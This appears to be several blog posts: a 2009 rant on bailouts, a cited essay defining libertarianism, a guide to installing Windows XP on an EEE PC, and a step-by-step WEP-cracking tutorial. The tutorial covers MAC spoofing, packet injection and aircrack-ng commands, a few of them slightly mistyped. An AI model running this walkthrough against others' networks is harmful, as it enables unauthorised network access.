We will continue to see the same problems over the next few years, only worse.  As I write this, the DOW sits at 7495(!!!) and people continue to lose their jobs, homes, and savings.  Yesterday our new President Obama has signed into law another bailout bill, and by the market’s reactions, it is probably not going to help.  Many of the same people who’ve gotten us into this mess in the first place are still in positions of power in both government and private industry.  The fools in the US Government continue to give $BILLIONS$ (In reality it’s now in the $$TRILLIONS$$) to their old pals in the private sector that caused this mess through greed and corruption. Now millions of American tax payers for generations to come will suffer the consequences, while these greedy bastards continue to live the good life.

There are many people who feel they have the solution to our problems.  Truth is, nobody knows what the best fix will be, but I can tell you printing money and giving it away to the same people who fucked us in the first place, is not the solution.  Harder times are on the horizon.

Please enjoy the episode of PBS’ Frontline: Inside the Meltdown.  Encourage others to see and understand how this mess has happened, and continue to educate those close to you.

In order to speak of libertarianism one must first attempt to define the terms of greatest importance to the libertarian perspective. The first of these terms is liberty. One way of defining liberty is the “freedom from arbitrary or despotic government or control” (Dictionary.com). Liberty is exemplified when the individual is in a state of independence so that he may make his own decisions about how his life will be lived. Liberty is threatened when an individual, group of individuals, or governing body tries to enforce control over another individual, group of individuals, or governing body. Liberty is an uncompromising position. There are no “what ifs” or “buts” when it comes to liberty. Either something helps to support liberty that already exists and creates a greater context where liberty can grow, or it inhibits liberty and works to exert greater control and a decreased freedom of choice and action.

Another way of defining liberty is “the absence of coercion of a human being by any other human being; it is a condition where the person may do whatever he desires, according to his wisdom and conscience” (Harper 3). It must be made clear that this definition leaves room for varying degrees and views of morality. Liberty in and of itself is neither “good” nor “bad”. Rather, it allows the individual to decide what is “good” or “bad,” and to make errors in judgment and behavior that they may learn from. Attempts to legislate morality in regards to an individual’s conduct tend to subvert individual liberty. Wherever there is liberty there must also be personal responsibility. If an individual were to value their own liberty they must hold themselves to a particular standard where she not only promotes liberty for herself, but for others as well. As Mary Ruwart has expressed, “Liberty requires respect for the personal choices that others make. In trying to control others, we will eventually find ourselves controlled” (Ruwart 1). One does not have to agree with another’s decisions or how he would live his life. However, at least a basic respect for their right to do as he chooses must be observed. If one individual or governing body were to create a rule which limits another individual’s behavior it only becomes a matter of time before a rule will be made which limits the law maker’s own behavior.

A third way of looking at liberty brings us back to Bastiat’s original question posed above. If we’re looking at liberty in terms of oversight, a libertarian tends to believe “that individuals and society can work out their own problems in the absence of top-down management” (Rockwell 1). It is not any other individual’s or governing body’s responsibility to tell another how to live, think, work, or play. In fact, liberty encourages the individual to have freedom of thought, word, and deed. The idea of liberty is by definition, nonrestrictive in regards to directing an individual’s code of conduct. In fact, libertarians tend to come from a diverse array of lifestyles. In order to further define what it is to be a libertarian one must also consider the other pillars that hold it up.

While the idea of liberty on its own may seem too broad to be pragmatic in today’s troubling and complex social climate, one must understand that libertarianism is not a strict platform of behavioral standards or a code of ethics. Instead, it is a basic framework of principles that all support and build on one another in the striving for maximum liberty. While libertarians may debate specific questions of morality and matters of public policy, the non-aggression axiom is paramount to libertarian ideals and helps to further define what it is to be a libertarian. Walter Block’s assertion that “we’re all libertarians if we agree on the non-aggression axiom and property rights” is an accurate one (Block 5:58). Someone who professes to be a libertarian yet finds exceptions in the non-aggression axiom is undermining the philosophic system as a whole.

Examples of the non-aggression axiom have appeared as early as ancient Greece. The ancient Greek philosopher Epicurus is credited with expressing that “The justice of nature is a pledge of reciprocal usefulness, neither to harm one another nor be harmed” (Morgan 423). This is the most basic pledge of the non-aggression axiom. Basically, a libertarian may not initiate the use of force or coercion against another. The only justification for a libertarian to engage in the use of force against another individual or property is in cases where one is acting in defense of aggression. Only in the defensive context may one individual encroach upon another. Unfortunately, this interpretation has taken a life of its own in this age of terrorism.

Some self-described libertarians have tried to argue that we live in different times and the idea of preemptive strikes laid out by the Bush Doctrine are compatible with libertarianism and the non-aggression axiom. This assertion is nothing more than a distortion of what the non-aggression axiom states. Not only is this axiom meant to govern the acts of the individual, but it also extends all the way to the state. Generally speaking, the foundational concepts of libertarianism apply to all of life’s contexts regardless of how large or small they happen to be. Acts of aggression against other nations are just as unacceptable as acts of aggression against the individual. Allowing preemptive acts of aggression is akin to allowing one group to impose restrictions on liberty to another group. Allowing for this exception would only go to undermine the foundations of the entire philosophy. Just as there are no “what ifs or “buts” in regards to liberty, there are none for the non-aggression axiom.

To further define the conditions that liberty and the non-aggression axiom set up, one must also consider the idea of absolute property rights. As Butler Shaffer says, “individual liberty and the private ownership of property are synonymous” (Shaffer 1). Under libertarianism, the ability to own private property is stressed to guide the exchange of goods and services, and as a further clarification in regards to what is protected under the non-aggression axiom. In a manner of speaking, one’s property is an extension of the self. Furthermore, each individual not only owns the extensions of the self but she also owns her person. By viewing herself as her own property and her property as a part of her self, it allows for the non-aggression axiom to be much clearer in regards to what can and cannot be aggressed upon. Each individual has the right to utilize what he or she owns in any way of their choosing as long as it does not violate the non-aggression axiom.

If the concept of self-ownership were rejected, the implication would be that another person has a higher claim on an individual’s life than the individual himself would have. An individual who is the property of another, and not owned by the self, is by definition a slave. Libertarians reject this notion that human beings are born and exist as slaves. The product of one’s life and liberty becomes his or her property. Exerting time, energy, and talents towards a goal which produces wealth of some kind entitles an individual to hold that production as their property. Property is the fruit of one’s labor, so-to-speak. By disallowing the ownership of property is to subject individuals to a life which also in turn equates to a life of slavery. If individuals each possess property, exchange of said property is an eventuality.

The free exchange of property, or commerce, is an offspring of property rights and is governed under the principles laid out above. Therefore, the non-aggression axiom will govern how people engage in trade with one another. This allows an individual to hold his own property and do with it as he wishes, free from coercion. If an individual feels she is being unfairly treated in dealing with another, she may choose not to engage in business with that person. It is this idea of voluntary interaction and exchange which is the key to understanding the libertarian philosophy. Under libertarianism, the belief is that voluntary society is morally and practically the best form of society. In such a system of living, individuals become personally responsible for their own actions and their dealings, and with whom they themselves deal with.

This idea of individual responsibility acts as the glue which holds liberty, non-aggression, and private property together. Without a sense of individual responsibility, no benevolent system will ever come to fruition and exist for very long. If an individual refuses to be responsible and uphold the non-aggression axiom and allows for exceptions to creep into his or her day to day behavior, other individuals will eventually defend against the aggression which in turn will threaten each individual’s liberty. If care is not taken to be responsible in dealing’s of private property, the chances of the same dire result of the loss of property, liberty, and increased aggression becomes more of a reality. These dangers are not only apparent on a personal level, but also in a societal context.

In order to explore real fundamental change in our society, the libertarian philosophy becomes a convenient and effective filter of examination. A society structured under libertarian principles would function much differently than our current society does today. An adjustment of ideas and priorities must take place in order for it to be understood, to take hold, and to succeed. Libertarianism cannot be viewed in the same light as the dominating political philosophies that exist in contemporary American society. During each national election, for example, the voting public makes a decision in regards to which group of people to involuntarily plunder and who to redistribute that which has been plundered. This is done through the mechanism of taxation. Rather than having a debate about whether or not individuals would prefer to retain property and do with it however one would see fit, the debate is framed in such a way that doesn’t even raise this basic concept of the libertarian philosophy.

Individuals do not have the right to use coercion to fix social problems, so the state should not have that right either. If a man were to take the property of a woman and give it to a third individual, we would consider this theft. When the state engages in the same basic activity it is framed as taxation and redistribution or subsidization. If it is wrong to steal, then it should also be wrong to tax. If it is wrong to kidnap, then a government should not be allowed to institute a draft or other mandated compulsory service to the state. That which is illegal in private society should also be illegal in public matters. Instead, individuals are lead to believe that all of these actions are done in the common good of man.

Unfortunately, many programs and systems in place that function under this image do just the opposite. Public institutions tend to be far more inefficient than their private counter parts. People who believe in the libertarian philosophy feel that economic incentives in the free-market should act as the carrot which drives innovation and harbors solutions. Government interventions in the markets are viewed as an act of force or coercion in the dealings of private citizens, which not only distorts market prices but also slowly erodes basic liberty. One may argue that the act of voting will make these actions that of the people themselves. The libertarian would argue that it does not matter who or what the source of such actions happens to be. Increasing the number of people who agree to take property from one individual or group and give it to another does not justify the action or change whether it is right or wrong.

Rather than exercising the right to vote in the voting booth, the libertarian philosophy proposes that individuals take responsibility to stay informed and vote with his actions and dollars. In a true free-market system, each and every time someone engages in commerce, he or she is casting a vote. If the integrity of the person, the product, or service being offered is in question, it is then the responsibility of the individual to cast a vote by disengaging from further business with the entity that is in doubt. If government sponsored coercion in the form of taxation, subsidies, and other meddling in the market place were to cease, the market itself would be determined by man. In an artificially stimulated environment, not only do markets become distorted, but individual responsibility and morality become subverted as well.

In a society that has systems designed to subsidize industry, legislate morality, and exert control over the liberty of man, libertarians believe that many of the incentives and ingrained rugged individualism that is part of the American tradition have been overthrown. If there is no risk of failure, then there is no real incentive to take care of and improve said systems. Rather than taking care of one self, family, and community, individuals rely on the state to take care of basic needs. This leads to an inefficient mode of living, and allows systems and ideas that have long lost their use and value to live on; prohibiting expansion, growth, and progress. Only under the ideas presented in the libertarian philosophy can we begin to adjust our ideas and the systems that spring up around them in such a way that truly benefits the common good, and respects the individual’s right to engage voluntarily in the activities of his or her choosing.

In America’s history, a 1% tax by the British on tea was enough to spark a revolution. Today, we see state sponsored looting on a scale far greater than 1% on a single product. If some time was taken to have an honest and healthy debate about the functions of state in society, and the individual’s role in the absence of a statist entity, ideas could easily begin to shift and adjust toward greater liberty. Through liberty and the non-aggression axiom, individuals could find themselves in command of greater resources and increased peace of mind knowing that each individual were their own house’s keeper. Accepting the weight of responsibility that comes with such a free philosophy would be nil in comparison to the demands placed by the state, the increased poverty, and lack of liberty which comes along with it. Maybe it is finally time to respond to Frederic Bastiat’s question, and take the steps necessary to advance the cause of liberty. Perhaps it is time for another revolution, a revolution of ideas.

Bibliography

Bastiat, Frederic. The Law. Auburn, Alabama: Ludwig von Mises Institute, 2007.

Thoreau, Henry David. Walden and Civil Disobedience. New York: Barnes & Noble, 2003.

Morgan, Michael L. Classics of Moral and Political Theory. Indianapolis, IN: Hackett Publishing Co., 2006.

Harper, F.A.. “Liberty Defined.” Ludwig von Mises Institute. 09 September 1957. Ludwig von Mises Institute. 17 December 2008. <http://mises.org/resources/2677>

Ruwart, Mary. “The Indivisibility of Liberty.” LewRockwell.com. 23 April 2008. LewRockwell.com. 17 December 2008. <http://www.lewrockwell.com/orig3/ruwart3.html>

Rockwell, Jr., Llewellyn H.. “Liberty Yet Lives” LewRockwell.com. 04 November 2004. LewRockwell.com. 17 December 2008. <http://www.lewrockwell.com/rockwell/liberty-lives.html>

Shaffer, Butler. “Are There Limits to Liberty?” LewRockwell.com 25 June 2002. LewRockwell.com 17 December 2008. <http://www.lewrockwell.com/shaffer/shaffer22.html>

Rockwell, Jr., Llewellyn H. “The Lew Rockwell Show” Lew Rockwell interviews Naomi Wolf. 30 October 2008. The Lew Rockwell Show. 10 December 2008. <http://www.lewrockwell.com/podcast/feed.xml>

Block, Walter. “Rothbard and Big Tent Libertarianism.” Walter Block – Rothbard and Big Tent Libertarianism. Ludwig von Mises Institute, 13 October 2007. 11 December 2008. <http://mises.org/multimedia/mp3/25thNYC/11-Block.mp3>

Thornton, Mark. “An Introduction to Libertarianism.” Mark Thornton – An Introduction to Libertarianism. Auburn University Libertarians, 18 January 2005. 09 December 2008.

<http://mises.org/multimedia/mp3/Thornton-01-19-2006.mp3>

“Liberty.” Dictionary.com. 2008.

When I first tried to install XP Professional on the EEE PC, I encountered a bluescreen during install.  This is because the EEE PC uses a SATA drive, and the XP install discs do not include the SATA drivers.  In order to install XP Professional we need to build a custom install disc that includes the SATA drivers.  This is not as hard as it sounds, and I will go into detail below:

Requirements:

• EEE PC 1000H
• External CD Rom
• Copy of Windows XP Professional install disc
• Another PC running XP/Vista w/ CD Burner, to build custom XP Install Disc
• DriverPack for Mass Storage Devices ( available for download @ http://driverpacks.net/DriverPacks/DriverPack.php?pag=m )
• nLite Software ( available for download @ http://www.nliteos.com/download.html )

First, insert your XP install cd into the cd-rom of the computer you will be using to build and burn the custom install disc.  At this point, be sure that you’ve installed nLite on this PC and have downloaded and extracted the proper Driverpack for Mass Storage Devices. Also be sure to have about 500mb of free space on your hard drive to copy the install files to.

Run nLite.

Click Next.  On the next screen choose the cd-rom where you have your XP installation discs.

You will then be prompted where you would like to save the files for modification. Click OK.

Just pick any empty folder (or create a new folder) to serve as a temporary folder.  Click OK.

nLite will then copy the files from the XP Pro installation disc to your hard drive.  Grab a snack while it does it’s thing.

Once the files have finished copying, you will see a summary screen with details about the operation just performed.  You can click Next on this screen.

The following screen is where we will add any additional drivers to the install.  I’ve chosen to only add the mass storage drivers to this section for brevity, but feel free to add other driverpacks or driver installs for your EEE PC.  I have not tested adding other drivers, but it should work.  (I just decided to load the drivers in XP after the initial install) To add drivers, click import.

To add the Mass Storage Driverpack, navigate to the folder where you extracted the pack and locate the .ini file.  Click Open.

Once you have all of your drivers loaded, you can now click Next.

From this next screen you can choose various customizations to your install.  You can include the cd key via the unattended option.  I’ve decided not to go into too much detail here, feel free to play around as you like, or see additional resources for nLite installs at the end of this article.  Under the “create” heading, click Bootable ISO.  This will prepare us for burning the custom install to disc.  If you have not done so, remote the XP Install CD and insert a blank CD for burning.  Click Next.

Now we will prepare to burn the custom install to disc.  Choose “Direct Burn” under Mode.  Choose your cdrw burning device.  You can also label the install if you’d like (not important).  Once you have all the information selected correctly, you can click Burn.

And we are now off.  nLite will burn the custom XP Pro installation to  CD.

Once it is finished, you are basically done!  I told you it would be simple.

Now that you have your custom XP Pro install with Mass Storage drivers, all that is left is to connect the external CD rom to your EEE PC and boot!  You may have to go into the BIOS and choose to boot off the exteral device.  Provided you did everything correctly, XP Pro will now install.  Be sure that you have downloaded the XP drivers and software for your EEE PC from the Asus website.

Additional Resources:

• http://www.nliteos.com/
• EEE User Forums

Standard Disclaimer: This article is provided for informational purposes only. thew0rd.com and its affiliates accept no liability for providing this information. Please only use to test configurations on your own equipment. Accessing WIFI networks that do not belong to you is ILLEGAL.

This article will explan how to crack 64bit and 128bit WEP on many WIFI access points and routers using Backtrack, a live linux distribution. Your mileage may very. The basic theory is that we want to connect to an Access Point using WEP Encryption, but we do not know the key. We will attack the wifi router, making it generate packets for our cracking effort, finally cracking the WEP key. I have tested this technique on an IBM Thinkpad x60 and Acer 5672 and the WIFI Chipset in those machines work for sure.

Requirements:

• Backtrack 3 on CD or USB
• Computer with compatible 802.11 wireless card
• Wireless Access point or WIFI Router using WEP encryption

I will assume that you have downloaded and booted into Backtrack 3. If you haven’t figured that part out, you probably shouldn’t be trying to crack WEP keys. Once Backtrack is loaded, open a shell and do the following:

Preparing The WIFI Card

First we must enable “Monitor Mode” on the wifi card. If using the Intel® PRO/Wireless 3945ABG chipset issue the following commands:

modprobe -r iwl3945

modprobe ipwraw
The above commands will enable monitor mode on the wireless chipset in your computer. Next we must stop your WIFI card:

iwconfig
Take note of your wireless adapter’s interface name. Then stop the adapter by issuing:

airmon-ng stop [device]
Then:

ifconfig down [interface]
Now we must change the MAC address of the adapter:

macchanger --mac 00:11:22:33:44:66 [device]
Its now time to start the card in monitor mode by doing:

airmon-ng start [device]

Attacking The Target

It is now time to locate a suitable WEP enabled network to work with:

airodump-ng [device]

Be sure to note the MAC address (BSSID), channel (CH) and name (ESSID) of the target network. Now we must start collecting data from the WIFI access point for the attack:

airodump-ng -c [channel] -w [network.out] --bssid [bssid] [device]


The above command will output data collected to the file: network.out. This file will be fed into the WEP Crack program when we are ready to crack the WEP key.

Open another shell and leave the previous command running. Now we need to generate some fake packets to the access point to speed up the data output. Test the access point by issuing the following command:

aireplay-ng -1 0 -a [bssid] -h 00:11:22:33:44:66 -e [essid] [device]

If this command is successful we will now generate many packets on the target network so that we can crack the KEY. Type:

airplay-ng -3 -b [bssid] -h 00:11:22:33:44:66 [device]

This will force the access point to send out a bunch of packets which we can then use to crack the WEP key. Check your aerodump-ng shell and you should see the “data” section filling up with packets.

After about 10,000-20,000 you can begin cracking the WEP key. If there are no other hosts on the target access point generating packets, you can try:

aireplay-ng -2 -p 0841 -c FF:FF:FF:FF:FF:FF -b [bssid] -h 00:11:22:33:44:66 [device]

Once you have enough packets, you begin the crack:

aircrack-ng -n 128 -b [bssid] [filename]-01.cap

The “-n 128″ signifies a 128-bit WEP key. If cracking fails, try a 64-bit key by changing the value of N to 64.

Once the crack is successful you will be left with the KEY! Remove the : from the output and there is your key. So there you have it.

You can use these techniques to demonstrate to others why using WEP is a bad idea. I suggest you use WPA2 encryption on your wireless networks. Goodluck!